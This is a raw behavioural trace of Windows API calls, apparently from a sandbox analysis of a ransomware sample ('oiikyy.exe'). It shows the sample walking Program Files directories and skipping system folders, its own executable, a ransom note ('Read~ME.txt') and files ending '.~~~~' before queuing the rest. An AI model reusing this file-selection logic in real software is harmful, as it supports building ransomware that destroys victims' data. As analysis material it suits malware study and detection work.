	[0079.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0079.785] GetCurrentThreadId () returned 0x618
	[0079.785] RtlWakeConditionVariable () returned 0x365f48
	[0079.785] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1
	[0079.785] lstrcmpiW (lpString1="msadox28.tlb", lpString2="Windows") returned -1
	[0079.785] lstrcmpW (lpString1="msadox28.tlb", lpString2="oiikyy.exe") returned -1
	[0079.786] StrStrW (lpFirst="msadox28.tlb", lpSrch=".~~~~") returned 0x0
	[0079.786] lstrcmpW (lpString1="msadox28.tlb", lpString2="Read~ME.txt") returned -1
	[0079.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.786] GetCurrentThreadId () returned 0x618
	[0079.786] RtlWakeConditionVariable () returned 0x365f48
	[0079.786] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1
	[0079.786] lstrcmpiW (lpString1="msadrh15.dll", lpString2="Windows") returned -1
	[0079.786] lstrcmpW (lpString1="msadrh15.dll", lpString2="oiikyy.exe") returned -1
	[0079.786] StrStrW (lpFirst="msadrh15.dll", lpSrch=".~~~~") returned 0x0
	[0079.786] lstrcmpW (lpString1="msadrh15.dll", lpString2="Read~ME.txt") returned -1
	[0079.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.786] GetCurrentThreadId () returned 0x618
	[0079.786] RtlWakeConditionVariable () returned 0x365f48
	[0079.786] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0
	[0079.786] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.786] GetCurrentThreadId () returned 0x618
	[0079.786] RtlWakeConditionVariable () returned 0x365f48
	[0079.788] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0079.788] lstrcmpiW (lpString1="DirectDB.dll", lpString2="Windows") returned -1
	[0079.788] lstrcmpW (lpString1="DirectDB.dll", lpString2="oiikyy.exe") returned -1
	[0079.788] StrStrW (lpFirst="DirectDB.dll", lpSrch=".~~~~") returned 0x0
	[0079.788] lstrcmpW (lpString1="DirectDB.dll", lpString2="Read~ME.txt") returned -1
	[0079.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0079.788] GetCurrentThreadId () returned 0x618
	[0079.788] RtlWakeConditionVariable () returned 0x365f48
	[0079.788] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0079.788] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0079.788] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0079.788] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0079.788] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0079.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US", lpSrch="AppData") returned 0x0
	[0079.788] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.788] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\en-US", lpString2="C:\\Windows") returned -1
	[0079.788] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.788] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0079.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0079.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.789] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.789] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.789] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.789] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.790] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.790] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.790] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.790] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.790] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.790] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.790] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.790] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.790] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1
	[0079.790] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="Windows") returned -1
	[0079.790] lstrcmpW (lpString1="wab32res.dll.mui", lpString2="oiikyy.exe") returned 1
	[0079.790] StrStrW (lpFirst="wab32res.dll.mui", lpSrch=".~~~~") returned 0x0
	[0079.790] lstrcmpW (lpString1="wab32res.dll.mui", lpString2="Read~ME.txt") returned 1
	[0079.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.790] GetCurrentThreadId () returned 0x618
	[0079.790] RtlWakeConditionVariable () returned 0x365f48
	[0079.790] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0
	[0079.790] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.790] GetCurrentThreadId () returned 0x618
	[0079.791] RtlWakeConditionVariable () returned 0x365f48
	[0079.791] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1
	[0079.791] lstrcmpiW (lpString1="msadc", lpString2="Windows") returned -1
	[0079.791] lstrcmpW (lpString1="msadc", lpString2=".") returned 1
	[0079.791] lstrcmpW (lpString1="msadc", lpString2="..") returned 1
	[0079.791] lstrcmpW (lpString1="msadc", lpString2="AppData") returned 1
	[0079.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc", lpSrch="AppData") returned 0x0
	[0079.791] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.791] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\msadc", lpString2="C:\\Windows") returned -1
	[0079.791] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.791] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\msadc", lpString2="C:\\System Volume Information") returned -1
	[0079.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0079.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.814] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.814] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.814] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.814] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.814] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.814] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.814] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.814] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.814] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.814] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.814] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.814] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.814] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1
	[0079.814] lstrcmpiW (lpString1="adcjavas.inc", lpString2="Windows") returned -1
	[0079.814] lstrcmpW (lpString1="adcjavas.inc", lpString2="oiikyy.exe") returned -1
	[0079.814] StrStrW (lpFirst="adcjavas.inc", lpSrch=".~~~~") returned 0x0
	[0079.814] lstrcmpW (lpString1="adcjavas.inc", lpString2="Read~ME.txt") returned -1
	[0079.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.814] GetCurrentThreadId () returned 0x618
	[0079.815] RtlWakeConditionVariable () returned 0x365f48
	[0079.815] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1
	[0079.815] lstrcmpiW (lpString1="adcvbs.inc", lpString2="Windows") returned -1
	[0079.815] lstrcmpW (lpString1="adcvbs.inc", lpString2="oiikyy.exe") returned -1
	[0079.815] StrStrW (lpFirst="adcvbs.inc", lpSrch=".~~~~") returned 0x0
	[0079.815] lstrcmpW (lpString1="adcvbs.inc", lpString2="Read~ME.txt") returned -1
	[0079.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.815] GetCurrentThreadId () returned 0x618
	[0079.815] RtlWakeConditionVariable () returned 0x365f48
	[0079.815] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0079.815] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0079.815] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0079.815] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0079.815] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0079.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US", lpSrch="AppData") returned 0x0
	[0079.815] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.815] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US", lpString2="C:\\Windows") returned -1
	[0079.815] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.815] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0079.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0079.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0080.059] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.059] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.059] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.059] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.059] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.059] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.059] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.059] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.059] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.059] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.059] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.059] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.059] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1
	[0080.059] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="Windows") returned -1
	[0080.059] lstrcmpW (lpString1="msadcer.dll.mui", lpString2="oiikyy.exe") returned -1
	[0080.060] StrStrW (lpFirst="msadcer.dll.mui", lpSrch=".~~~~") returned 0x0
	[0080.060] lstrcmpW (lpString1="msadcer.dll.mui", lpString2="Read~ME.txt") returned -1
	[0080.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0080.060] GetCurrentThreadId () returned 0x618
	[0080.060] RtlWakeConditionVariable () returned 0x365f48
	[0080.060] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1
	[0080.060] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="Windows") returned -1
	[0080.060] lstrcmpW (lpString1="msadcfr.dll.mui", lpString2="oiikyy.exe") returned -1
	[0080.060] StrStrW (lpFirst="msadcfr.dll.mui", lpSrch=".~~~~") returned 0x0
	[0080.060] lstrcmpW (lpString1="msadcfr.dll.mui", lpString2="Read~ME.txt") returned -1
	[0080.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0080.060] GetCurrentThreadId () returned 0x618
	[0080.060] RtlWakeConditionVariable () returned 0x365f48
	[0080.060] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1
	[0080.060] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="Windows") returned -1
	[0080.060] lstrcmpW (lpString1="msadcor.dll.mui", lpString2="oiikyy.exe") returned -1
	[0080.060] StrStrW (lpFirst="msadcor.dll.mui", lpSrch=".~~~~") returned 0x0
	[0080.060] lstrcmpW (lpString1="msadcor.dll.mui", lpString2="Read~ME.txt") returned -1
	[0080.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0080.060] GetCurrentThreadId () returned 0x618
	[0080.061] RtlWakeConditionVariable () returned 0x365f48
	[0080.061] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1
	[0080.061] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="Windows") returned -1
	[0080.061] lstrcmpW (lpString1="msaddsr.dll.mui", lpString2="oiikyy.exe") returned -1
	[0080.061] StrStrW (lpFirst="msaddsr.dll.mui", lpSrch=".~~~~") returned 0x0
	[0080.061] lstrcmpW (lpString1="msaddsr.dll.mui", lpString2="Read~ME.txt") returned -1
	[0080.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0080.061] GetCurrentThreadId () returned 0x618
	[0080.061] RtlWakeConditionVariable () returned 0x365f48
	[0080.061] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1
	[0080.061] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="Windows") returned -1
	[0080.061] lstrcmpW (lpString1="msdaprsr.dll.mui", lpString2="oiikyy.exe") returned -1
	[0080.061] StrStrW (lpFirst="msdaprsr.dll.mui", lpSrch=".~~~~") returned 0x0
	[0080.061] lstrcmpW (lpString1="msdaprsr.dll.mui", lpString2="Read~ME.txt") returned -1
	[0080.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0080.061] GetCurrentThreadId () returned 0x618
	[0080.061] RtlWakeConditionVariable () returned 0x365f48
	[0080.061] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1
	[0080.061] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="Windows") returned -1
	[0080.061] lstrcmpW (lpString1="msdaremr.dll.mui", lpString2="oiikyy.exe") returned -1
	[0080.061] StrStrW (lpFirst="msdaremr.dll.mui", lpSrch=".~~~~") returned 0x0
	[0080.061] lstrcmpW (lpString1="msdaremr.dll.mui", lpString2="Read~ME.txt") returned -1
	[0080.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0080.061] GetCurrentThreadId () returned 0x618
	[0080.062] RtlWakeConditionVariable () returned 0x365f48
	[0080.062] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0
	[0080.062] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0080.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0080.063] GetCurrentThreadId () returned 0x618
	[0080.063] RtlWakeConditionVariable () returned 0x365f48
	[0080.063] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1
	[0080.063] lstrcmpiW (lpString1="handler.reg", lpString2="Windows") returned -1
	[0080.063] lstrcmpW (lpString1="handler.reg", lpString2="oiikyy.exe") returned -1
